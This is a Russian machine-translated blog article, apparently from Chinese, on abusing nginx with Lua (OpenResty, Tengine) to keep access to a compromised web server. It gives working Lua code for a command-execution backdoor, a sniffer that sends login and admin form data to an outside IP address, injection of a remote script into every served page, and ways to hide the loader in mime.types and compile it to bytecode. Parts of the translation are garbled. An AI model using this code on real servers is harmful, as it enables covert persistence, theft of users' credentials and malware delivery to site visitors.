резюме
Nginx — это высокопроизводительный веб-сервер и обратный прокси-сервер, разработанный на языке C. Он напрямую использует c/c++ для вторичной разработки, которая имеет определенный порог для многих пользователей, а эффективность разработки c/c++ не так хороша, как у python. , js, lua и другие языки, среди python, js, lua, lua это язык с самым маленьким парсером и самой высокой производительностью, luajit в 10 раз быстрее lua. В настоящее время комбинация nginx и lua поддерживается компанией Chunge.openrestyподдерживается TaobaoTengine.
-
Первым, кто объединил Nginx и Lua, был OpenResty, и брат Чун предоставилмодуль модуля lua-nginx, вы можете встроить Lua в Nginx, Проект, подаренный на конференции Hammer T2, — openresty от Chunge;
-
Затем Tengine форкает ветку nginx, которая также включает в себямодуль модуля lua-nginx.
Разница между опенрестом и тенгине:
-
OpenResty — это пакет Nginx, синхронизированный с последней официальной версией.
-
Tengine — это форк версии Nginx 1.6.2, и Ali сделал некоторые специальные разработки для nginx в соответствии со своей бизнес-ситуацией.
Сценарии применения nginx + lua
Объединив различные хорошо спроектированные модули Nginx (в основном разработанные командой OpenResty), OpenResty эффективно превращает Nginx в мощную платформу веб-приложений общего назначения, которая широко используется в веб-приложениях и информационной безопасности:
-
Бизнес-подразделения могут использовать его для быстрого создания высокопроизводительной системы веб-приложений, поддерживающей 10 000 или даже более 1 000 000 одновременных подключений к одной машине.OpenResty Con 2015, текущие веб-фреймворки на основе openresty следующие:
-
Практики безопасности часто используют для написания waf, прокси-сервера безопасности (аутентификация личности, удаление конфиденциальной информации и т.
В этой статье сначала описывается частичное проникновение, в основном включающее следующие аспекты:
- задняя дверь
- Мониторинг данных и кража
- висячая лошадь
- Шифрование и сокрытие кода Lua
Установить
опенресты и тенгин
Openresty и tengine по умолчанию имеют встроенные функции lua, и процесс установки более удобен.
- установка openresty
tar xzvf ngx_openresty-VERSION.tar.gz cd ngx_openresty-VERSION/ ./configure gmake gmake install
- Установка тенжина
wget http://tengine.taobao.org/download/tengine-2.1.2.tar.gz tar -zxvf tengine-2.1.2.tar.gz cd tengine-2.1.2 ./configure make make install
Установить lua-nginx-модуль для nginx
Установка lua-nginx-модуля для nginx делится на следующие этапы:
- Установите LuaJIT 2.0 или 2.1 или lua 5.1 (версии выше 5.2 не поддерживаются)
- Скачать ngx_devel_kit, ngx_lua
Процесс компиляции и установки выглядит следующим образом:
wget 'http://nginx.org/download/nginx-1.9.15.tar.gz'
tar -xzvf nginx-1.9.15.tar.gz
cd nginx-1.9.15/
export LUAJIT_LIB=/path/to/luajit/lib
export LUAJIT_INC=/path/to/luajit/include/luajit-2.1
./configure --prefix=/opt/nginx \
--with-ld-opt="-Wl,-rpath,/path/to/luajit-or-lua/lib" \
--add-module=/path/to/ngx_devel_kit \
--add-module=/path/to/lua-nginx-module
make -j2
make install
nginx 1.9.11 и более поздние версии поддерживают динамическую загрузку модулей, компилируют ngx_devel_kit и ngx_lua в файлы .so и загружают их в nginx через инструкцию load_module.
load_module /path/to/modules/ndk_http_module.so; # assuming NDK is built as a dynamic module too
load_module /path/to/modules/ngx_http_lua_module.so;
Метод компиляции модуля nginx в динамический модуль может относиться к:Converting Static Modules to Dynamic ModulesВ практических приложениях, если целевой веб-сайт является родным nginx, мы также можем рассмотреть возможность использования команды nginx -V для получения параметров компиляции целевого веб-сайта, а затем скомпилировать ту же версию бинарного файла nginx с модулем lua в локальном виртуальном замена машинного файла на целевой сайт.
задняя дверь
Добавьте следующее в раздел http в файле nginx.conf:
http {
include mime.types;
# lua 文件的位置
lua_package_path "/usr/local/openresty/nginx/conf/lua_src/?.lua;;";
# nginx启动阶段时执行的脚本,可以不加
init_by_lua_file 'conf/lua_src/Init.lua';
Содержимое conf/lua_src/Init.lua следующее:
local p = "/usr/local/openresty/nginx/conf/lua_src"
local m_package_path = package.path
package.path = string.format("%s?.lua;%s?/init.lua;%s", p, p, m_package_path)
cmd = require("t")
cmd = require("t") означает, что модуль в t.lua загружен и назван cmd, который можно вызывать через переменную cmd на всех этапах выполнения nginx. t.lua реализует простую функцию выполнения команды следующим образом:
local _M = {}
function _M.run()
ngx.req.read_body()
local post_args = ngx.req.get_post_args()
-- for k, v in pairs(post_args) do
-- ngx.say(string.format("%s = %s", k, v))
-- end
local cmd = post_args["cmd"]
if cmd then
f_ret = io.popen(cmd)
local ret = f_ret:read("*a")
ngx.say(string.format("reply:\n%s", ret))
end
end
return _M
Nginx имеет 11 этапов обработки, как показано на следующем рисунке: Как правило, этапы, которые мы обычно используем в процессе разработки, следующие:
- set_by_lua*: Инициализация переменной процесса обработки суждения
- rewrite_by_lua*: перенаправление, перенаправление, кэширование и другие функции (например, проксирование определенных запросов во внешнюю сеть)
- access_by_lua*: Централизованная обработка IP-доступа, разрешений интерфейса и т. д. (например, для завершения простого брандмауэра с помощью iptable)
- content_by_lua*: создание контента
- header_filter_by_lua*: Ответ на фильтрацию HTTP (например, добавление заголовков)
- body_filter_by_lua*: Обработка фильтрации BODY ответа (например, содержимое ответа унифицировано в верхнем регистре)
- log_by_lua*: после завершения сеанса запись журнала выполняется асинхронно локально (журналы могут записываться локально, а также могут быть синхронизированы с другими машинами)
В общем, мы можем использовать этап содержимого.Следующий пример — поместить content_by_lua в /test/ расположение сегмента сервера.
1 location /test/ {
2 content_by_lua '
3 cmd.run()
4 ';
5 }
Эффект выполнения показан на рисунке:
Если вы измените content_by_lua на access_by_lua (этап содержимого нельзя размещать в разделе http) и поместите его в раздел http для представления глобального бэкдора, любой URL-адрес, если будут переданы наши конкретные параметры, nginx ответит , даже если это страница 404 Да, как показано на рисунке ниже:
Мониторинг данных и кража
nginx реализует незаконный и удобный мониторинг данных, если можно использовать следующие строки кода ngx.req.read_body() и local post_args = ngx.req.get_post_args(), а затем можно использовать модуль lua-resty-http. используется для отправки данных через post Go в место, указанное Heiko, и тестовый код выглядит следующим образом:
local http = require "resty.http"
local cjson = require("cjson")
local _M = {}
function _M.sniff()
ngx.req.read_body()
local post_args = ngx.req.get_post_args()
ngx.log(ngx.DEBUG, "data=" .. cjson.encode(post_args))
if post_args then
local httpc = http.new()
local res, err = httpc:request_uri("http://111.111.111.111/test/", {
method = "POST",
body = "data=" .. cjson.encode(post_args),
headers = {
["Content-Type"] = "application/x-www-form-urlencoded",
}
})
end
end
return _M
Затем используйте торнадо, чтобы написать веб-программу, которая принимает параметры публикации.Тестовый код и результат следующие:
Если код мониторинга размещен в http-сегменте nginx, это означает, что глобальный мониторинг и кража почтовых данных, чтобы Heikuo получал все запросы почтовых данных, также повлияют на производительность целевого сервера.
access_by_lua 'cmd.sniff() ';
Лучше всего размещать его в ключевом месте целевого сайта, таком как /login, /admin и т. д. Следует отметить, что lua-resty-http реализован на основе cosocket, поэтому его нельзя размещать в следующем этапы set_by_lua*, log_by_lua *, header_filter_by_lua*, body_filter_by_lua.
Если вы хотите записать только правильный пароль и отфильтровать неправильные, вам нужно использовать значение, возвращенное сервером на этапе header_filter_by_lua или body_filter_by_lua, чтобы определить, является ли пароль, отправленный пользователем, правильным. вы хотите отправить его на сервер, вы не можете использовать lua -resty-http, но можете отправить его асинхронно через ngx.timer.at. Кроме того, вы также можете использовать сторонний модуль lua-requests для отправки данных на этапе header_filter_by_lua или body_filter_by_lua.Процесс использования luarocks для установки lua-запросов для openresty выглядит следующим образом:
wget http://luarocks.org/releases/luarocks-2.0.13.tar.gz
tar -xzvf luarocks-2.0.13.tar.gz
cd luarocks-2.0.13/
./configure --prefix=/usr/local/openresty/luajit \
--with-lua=/usr/local/openresty/luajit/ \
--lua-suffix=jit-2.1.0-alpha \
--with-lua-include=/usr/local/openresty/luajit/include/luajit-2.1
make
sudo make install
sudo /usr/local/openresty/luajit/luarocks install lua-requests
висячая лошадь
Когда nginx возвращает данные, вы можете вставить веб-троян, код выглядит следующим образом:
function _M.hang_horse()
local data = ngx.arg[1] or ""
local html = string.gsub(data, "</head>", "<script src=\"http://docs.xsec.io/1.js\"></script></head>")
ngx.arg[1] = html
end
После размещения его в каталоге / целевого веб-сайта эффект будет следующим:
location ~* ^/ {
body_filter_by_lua 'cmd.hang_horse()';
Шифрование и сокрытие кода Lua
lua загрузить код программной части
Ведь его очень легко обнаружить после добавления кода для выполнения lua в nginx.conf.Атакующий может использовать директиву include, чтобы скрыть следующий код.
http {
include mime.types;
# lua 文件的位置
lua_package_path "/usr/local/openresty/nginx/conf/lua_src/?.lua;;";
# nginx启动阶段时执行的脚本,可以不加
init_by_lua_file 'conf/lua_src/Init.lua';
Измените его на следующее содержимое, которое выглядит точно так же, как и предыдущая конфигурация.Поместите код для загрузки lua в файл mime.types.MIME.types обычно используется nginx по умолчанию, и обычно мало кто проверяет или изменяет его содержание.
http {
include mime.types;
шифрование луа-кода
Даже если код конфигурации, загруженный lua, находится в скрытом месте, все равно есть риск быть найденным.Если код lua найден в открытом тексте, местонахождение будет раскрыто с первого взгляда, по крайней мере, зашифруйте код lua. Openresty использует luajit, luajit предоставляет параметр luajit -b, который может скомпилировать код в байт-код, так что увидеть открытый текстовый код непросто.
Метод использования показан на следующем рисунке (путь luajit по умолчанию для openresty — /usr/local/openresty/luajit/bin/luajit), просто замените открытый текстовый файл скомпилированным байт-кодом lua.
Суммировать
После получения полномочий root целевого хоста, очевидно, не лучший выбор — оставить только бэкдор nginx+lua с правами доступа только к веб-контейнеру.Эта статья дает только возможную идею.Адрес тестового кода на github:GitHub — netxfly/nginx_lua_security: рассказ о применении nginx+lua в сфере безопасности
Хотя это очень мало, просто для доли ...